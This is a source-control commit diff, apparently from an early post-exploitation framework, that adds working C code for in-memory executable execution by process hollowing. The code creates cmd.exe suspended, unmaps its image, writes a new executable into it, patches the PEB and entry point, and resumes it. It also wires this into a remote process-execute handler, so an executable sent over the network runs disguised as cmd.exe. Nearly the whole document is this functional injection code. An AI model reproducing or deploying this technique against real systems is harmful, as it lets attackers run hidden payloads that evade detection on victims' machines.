hopefully support for in process exe without clobbering anything with the merge

git-svn-id: file:///home/svn/incoming/trunk@2805 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Spoon M 2005-07-22 03:23:48 +00:00
parent d451dc0b47
commit c923be4817
4 changed files with 526 additions and 9 deletions

View File

@ -0,0 +1,402 @@
/*
* Prototype for in-memory executable execution.
*
* Improvements that need to be made:
*
* - Support passing arguments to the executable
* - General testing with various executables
*
* skape
* mmiller@hick.org
* 05/09/2005
*/
#include "precomp.h"
#define DUMMY_PROCESS "cmd.exe"
typedef ULONG NTSTATUS;
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
} PROCESSINFOCLASS;
typedef struct _MINI_PEB
{
ULONG Flags;
LPVOID Mutant;
LPVOID ImageBaseAddress;
} MINI_PEB, *PMINI_PEB;
typedef struct _PROCESS_BASIC_INFORMATION
{
NTSTATUS ExitStatus;
PMINI_PEB PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
LPVOID MapNewExecutableRaw(
IN LPCSTR ExecutableFilePath);
BOOL MapNewExecutableRegionInProcess(
IN HANDLE TargetProcessHandle,
IN HANDLE TargetThreadHandle,
IN LPVOID NewExecutableRawImage);
int main(
IN int argc,
IN char **argv)
{
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO StartupInformation;
LPVOID NewExecutableRawImage = NULL;
//
// If we lived without initialization we'd be a conglomerate of chaos and
// unpredictability...
//
ZeroMemory(
&StartupInformation,
sizeof(StartupInformation));
ZeroMemory(
&ProcessInformation,
sizeof(ProcessInformation));
StartupInformation.cb = sizeof(StartupInformation);
do
{
//
// Yeah...
//
if (argc == 1)
{
fprintf(stderr, "Usage: %s [executable]\n",
argv[0]);
SetLastError(
ERROR_INVALID_PARAMETER);
break;
}
//
// Map in the raw contents of the executable
//
if (!(NewExecutableRawImage = MapNewExecutableRaw(
argv[1])))
{
fprintf(stderr, "MapNewExecutableRaw failed, %lu.\n",
GetLastError());
break;
}
//
// Run it...
//
if (!CreateProcess(
NULL,
DUMMY_PROCESS,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&StartupInformation,
&ProcessInformation))
{
fprintf(stderr, "CreateProcess(\"%s\") failed, %lu.\n",
DUMMY_PROCESS,
GetLastError());
break;
}
//
// Unmap the dummy executable and map in the new executable into the
// target process
//
if (!MapNewExecutableRegionInProcess(
ProcessInformation.hProcess,
ProcessInformation.hThread,
NewExecutableRawImage))
{
fprintf(stderr, "MapNewExecutableRegionInProcess failed, %lu.\n",
GetLastError());
break;
}
//
// Resume the thread and let it rock...
//
if (ResumeThread(
ProcessInformation.hThread) == (DWORD)-1)
{
fprintf(stderr, "ResumeThread failed, %lu.\n",
GetLastError());
break;
}
} while (0);
//
// Cleanup
//
if (ProcessInformation.hProcess)
CloseHandle(
ProcessInformation.hProcess);
if (ProcessInformation.hThread)
CloseHandle(
ProcessInformation.hThread);
return GetLastError();
}
//
// Maps the raw contents of the supplied executable image file into the current
// process and returns the address at which the image is mapped.
//
LPVOID MapNewExecutableRaw(
IN LPCSTR ExecutableFilePath)
{
HANDLE FileHandle = NULL;
HANDLE FileMappingHandle = NULL;
LPVOID NewExecutableRawImage = NULL;
do
{
if ((FileHandle = CreateFile(
ExecutableFilePath,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_FLAG_RANDOM_ACCESS,
NULL)) == INVALID_HANDLE_VALUE)
{
fprintf(stderr, "CreateFile failed, %lu.\n",
GetLastError());
break;
}
if (!(FileMappingHandle = CreateFileMapping(
FileHandle,
NULL,
PAGE_READONLY,
0,
0,
NULL)))
{
fprintf(stderr, "CreateFileMapping failed, %lu.\n",
GetLastError());
break;
}
if (!(NewExecutableRawImage = MapViewOfFile(
FileMappingHandle,
FILE_MAP_READ,
0,
0,
0)))
{
fprintf(stderr, "MapViewOfFile failed, %lu.\n",
GetLastError());
break;
}
} while (0);
if (FileMappingHandle)
CloseHandle(
FileMappingHandle);
if (FileHandle)
CloseHandle(
FileHandle);
return NewExecutableRawImage;
}
//
// Maps the contents of the executable image into the new process and unmaps
// the original executable. All necessary fixups are performed to allow the
// transfer of execution control the new executable in a seamless fashion.
//
BOOL MapNewExecutableRegionInProcess(
IN HANDLE TargetProcessHandle,
IN HANDLE TargetThreadHandle,
IN LPVOID NewExecutableRawImage)
{
PROCESS_BASIC_INFORMATION BasicInformation;
PIMAGE_SECTION_HEADER SectionHeader;
PIMAGE_DOS_HEADER DosHeader;
PIMAGE_NT_HEADERS NtHeader;
PMINI_PEB ProcessPeb;
NTSTATUS (NTAPI *NtUnmapViewOfSection)(HANDLE, LPVOID) = NULL;
NTSTATUS (NTAPI *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG) = NULL;
NTSTATUS Status;
CONTEXT ThreadContext;
LPVOID OldEntryPoint = NULL;
LPVOID TargetImageBase = NULL;
LPVOID AddressOfExecutableLdrModule;
ULONG SectionIndex = 0;
ULONG SizeOfBasicInformation;
BOOL Success = FALSE;
//
// Error checking? Bah.
//
DosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage;
NtHeader = (PIMAGE_NT_HEADERS)((PCHAR)NewExecutableRawImage + DosHeader->e_lfanew);
do
{
//
// Get the old entry point address by inspecting eax of the current
// thread (which should be BaseProcessStart). Eax holds the address
// of the entry point for the executable when the process is created
// suspended.
//
ZeroMemory(
&ThreadContext,
sizeof(ThreadContext));
ThreadContext.ContextFlags = CONTEXT_INTEGER;
if (!GetThreadContext(
TargetThreadHandle,
&ThreadContext))
{
fprintf(stderr, "GetThreadContext failed, %lu.\n",
GetLastError());
break;
}
OldEntryPoint = (LPVOID)ThreadContext.Eax;
//
// Unmap the old executable region in the child process to avoid
// conflicts
//
NtUnmapViewOfSection = (NTSTATUS (NTAPI *)(HANDLE, LPVOID))GetProcAddress(
GetModuleHandle(
TEXT("NTDLL")),
"NtUnmapViewOfSection");
if ((Status = NtUnmapViewOfSection(
TargetProcessHandle,
OldEntryPoint)) != ERROR_SUCCESS)
{
fprintf(stderr, "NtUnmapViewOfSection failed, %.8x.\n",
Status);
SetLastError(ERROR_INVALID_ADDRESS);
break;
}
//
// Change the entry point address to the new executable's entry point
//
ThreadContext.Eax = NtHeader->OptionalHeader.AddressOfEntryPoint +
NtHeader->OptionalHeader.ImageBase;
if (!SetThreadContext(
TargetThreadHandle,
&ThreadContext))
{
fprintf(stderr, "SetThreadContext failed, %lu.\n",
GetLastError());
break;
}
//
// Allocate storage for the new executable in the child process
//
if (!(TargetImageBase = VirtualAllocEx(
TargetProcessHandle,
(LPVOID)NtHeader->OptionalHeader.ImageBase,
NtHeader->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)))
{
fprintf(stderr, "VirtualAllocEx failed, %lu.\n",
GetLastError());
break;
}
//
// Update the executable's image base address in the PEB...
//
NtQueryInformationProcess = (NTSTATUS (NTAPI *)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG))GetProcAddress(
GetModuleHandle(
TEXT("NTDLL")),
"NtQueryInformationProcess");
if (NtQueryInformationProcess(
TargetProcessHandle,
ProcessBasicInformation,
&BasicInformation,
sizeof(BasicInformation),
&SizeOfBasicInformation) != ERROR_SUCCESS)
{
fprintf(stderr, "NtQueryInformationProcess failed, %lu.\n",
GetLastError());
break;
}
ProcessPeb = BasicInformation.PebBaseAddress;
if (!WriteProcessMemory(
TargetProcessHandle,
(LPVOID)&ProcessPeb->ImageBaseAddress,
(LPVOID)&NtHeader->OptionalHeader.ImageBase,
sizeof(LPVOID),
NULL))
{
fprintf(stderr, "WriteProcessMemory(ImageBaseAddress) failed, %lu.\n",
GetLastError());
break;
}
//
// Copy the image headers and all of the section contents
//
if (!WriteProcessMemory(
TargetProcessHandle,
TargetImageBase,
NewExecutableRawImage,
NtHeader->OptionalHeader.SizeOfHeaders,
NULL))
{
fprintf(stderr, "WriteProcessMemory(Headers) failed, %lu.\n",
GetLastError());
break;
}
Success = TRUE;
for (SectionIndex = 0,
SectionHeader = IMAGE_FIRST_SECTION(NtHeader);
SectionIndex < NtHeader->FileHeader.NumberOfSections;
SectionIndex++)
{
if (!WriteProcessMemory(
TargetProcessHandle,
(LPVOID)((PCHAR)TargetImageBase +
SectionHeader[SectionIndex].VirtualAddress),
(LPVOID)((PCHAR)NewExecutableRawImage +
SectionHeader[SectionIndex].PointerToRawData),
SectionHeader[SectionIndex].SizeOfRawData,
NULL))
{
fprintf(stderr, "WriteProcessMemory(Section) failed, %lu.\n",
GetLastError());
Success = FALSE;
break;
}
}
} while (0);
return Success;
}

View File

@ -0,0 +1,30 @@
/*
* Prototype for in-memory executable execution.
*
* Improvements that need to be made:
*
* - Support passing arguments to the executable
* - General testing with various executables
*
* skape
* mmiller@hick.org
* 05/09/2005
*/
//
// Maps the raw contents of the supplied executable image file into the current
// process and returns the address at which the image is mapped.
//
LPVOID MapNewExecutableRaw(
IN LPCSTR ExecutableFilePath);
//
// Maps the contents of the executable image into the new process and unmaps
// the original executable. All necessary fixups are performed to allow the
// transfer of execution control the new executable in a seamless fashion.
//
BOOL MapNewExecutableRegionInProcess(
IN HANDLE TargetProcessHandle,
IN HANDLE TargetThreadHandle,
IN LPVOID NewExecutableRawImage);

View File

@ -1,5 +1,7 @@
#include "precomp.h"
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
/*
* Attaches to the supplied process identifier. If no process identifier is
* supplied, the handle for the current process is returned to the requestor.
@ -87,6 +89,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
PCHAR path, arguments, commandLine = NULL;
DWORD flags = 0, createFlags = 0;
BOOL inherit = FALSE;
Tlv inMemoryData;
BOOL doInMemory = FALSE;
// Initialize the startup information
memset(&si, 0, sizeof(si));
@ -111,6 +115,14 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
flags = packet_get_tlv_value_uint(packet,
TLV_TYPE_PROCESS_FLAGS);
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA,
&inMemoryData) == ERROR_SUCCESS)
{
doInMemory = TRUE;
flags |= CREATE_SUSPENDED;
}
// If the remote endpoint provided arguments, combine them with the
// executable to produce a command line
if (path && arguments)
@ -221,19 +233,46 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
result = GetLastError();
break;
}
else
{
// Add the process identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_PID,
pi.dwProcessId);
packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,
(DWORD)pi.hProcess);
CloseHandle(pi.hThread);
//
// Do up the in memory exe execution if the user requested it
//
if (doInMemory) {
//
// Unmap the dummy executable and map in the new executable into the
// target process
//
if (!MapNewExecutableRegionInProcess(
pi.hProcess,
pi.hThread,
inMemoryData.buffer))
{
result = GetLastError();
break;
}
//
// Resume the thread and let it rock...
//
if (ResumeThread(pi.hThread) == (DWORD)-1)
{
result = GetLastError();
break;
}
result = ERROR_SUCCESS;
}
// Add the process identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_PID,
pi.dwProcessId);
packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,
(DWORD)pi.hProcess);
CloseHandle(pi.hThread);
result = ERROR_SUCCESS;
} while (0);
// Close the read side of stdin and the write side of stdout
@ -615,3 +654,43 @@ DWORD process_channel_interact(Channel *channel, Packet *request,
return result;
}
/*
* The routine to send a notify request (responseless request) that
* the wait has finished...
*/
DWORD process_wait_notify(Remote * remote, HANDLE handle)
{
Packet * request = packet_create(PACKET_TLV_TYPE_REQUEST, "process_wait_notify");
packet_add_tlv_uint(request, TLV_TYPE_HANDLE, (DWORD)handle);
packet_transmit(remote, request, NULL);
return ERROR_SUCCESS;
}
/*
* Wait on a process handle until it terminates
*
* req: TLV_TYPE_HANDLE - The process handle to close.
*/
DWORD request_sys_process_wait(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
HANDLE handle;
DWORD result;
handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
result = scheduler_insert_waitable(
handle,
(LPVOID)handle,
(WaitableNotifyRoutine)process_wait_notify
);
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}

View File

@ -63,4 +63,10 @@ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet);
DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
LPVOID parameter, DWORD parameterLength, LPDWORD result);
/*
* Wait methods
*/
DWORD process_wait_notify(Remote * remote, HANDLE handle);
DWORD request_sys_process_wait(Remote *remote, Packet *packet);
#endif